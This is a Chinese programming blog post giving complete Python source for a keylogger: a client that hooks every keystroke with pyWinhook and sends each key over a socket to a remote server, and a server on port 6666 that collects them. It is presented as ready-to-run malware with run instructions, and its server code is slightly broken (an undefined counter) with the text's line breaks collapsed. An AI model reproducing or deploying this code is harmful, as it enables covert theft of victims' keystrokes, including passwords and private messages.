python實現(xiàn)監(jiān)聽鍵盤
python實現(xiàn)監(jiān)聽鍵盤,供大家參考,具體內(nèi)容如下實現(xiàn)服務(wù)端
import picklefrom io import BytesIOimport socket#接收數(shù)據(jù)def Server_Recive(ip,port): socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM) socket_obj.bind((ip,port)) socket_obj.listen(5) file = 1 while True:connection,address = socket_obj.accept() #接受的數(shù)據(jù)recieved_message = b’’recieved_message_fragment = connection.recv(1024)while recieved_message_fragment: recieved_message += recieved_message_fragment recieved_message_fragment = connection.recv(1024)try: obj = pickle.loads(recieved_message) print(obj[’Key’],end=’ ’)except EOFError: file_name = ’recv_image_’ + str(file_on) + ’.bmp’ recv_image = open(file_name,’wb’) recv_image.write(recieved_message) file_on += 1connection.close()if __name__ == ’__main__’: Server_IP = ’0.0.0.0’ Server_Port = 6666 Server_Recive(Server_IP,Server_Port)
鍵盤監(jiān)聽程序
#鍵盤監(jiān)聽import pythoncom,pyWinhook,pickle,socketfrom io import BytesIOdef Client_PIC(ip,port,obj): try:msg = pickle.dumps(obj)send_message = BytesIO(msg)send_message_fragment = send_message.read(1024) except:send_message = objsend_message_fragment = send_message.read(1024) socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM) socket_obj.connect((ip,port)) while send_message_fragment:socket_obj.send(send_message_fragment)send_message_fragment = send_message.read(1024) socket_obj.close()def OnkeyBoardEvent(event): dict_key = {} dict_key[’MessageName’] = event.MessageName dict_key[’Key’] = event.Key Client_PIC(’你自己的ip地址’,6666,dict_key) return Truedef Keylogger(): hm = pyWinhook.HookManager() hm.KeyDown = OnkeyBoardEvent hm.HookKeyboard() pythoncom.PumpMessages()if __name__ == ’__main__’: Keylogger()
其中的pythoncom,pyWinhook百度查找安裝方法,在此不贅述
運行(先運行服務(wù)端,而后運行監(jiān)聽程序)
以上就是本文的全部內(nèi)容,希望對大家的學習有所幫助,也希望大家多多支持好吧啦網(wǎng)。
相關(guān)文章:
1. IntelliJ IDEA 統(tǒng)一設(shè)置編碼為utf-8編碼的實現(xiàn)2. jsp EL表達式詳解3. asp知識整理筆記4(問答模式)4. 詳解idea中web.xml默認版本問題解決5. 解決ajax的delete、put方法接收不到參數(shù)的問題方法6. chat.asp聊天程序的編寫方法7. GIT相關(guān)-IDEA/ECLIPSE工具配置的教程詳解8. XML入門的常見問題(一)9. Jsp中request的3個基礎(chǔ)實踐10. 怎樣才能用js生成xmldom對象,并且在firefox中也實現(xiàn)xml數(shù)據(jù)島?
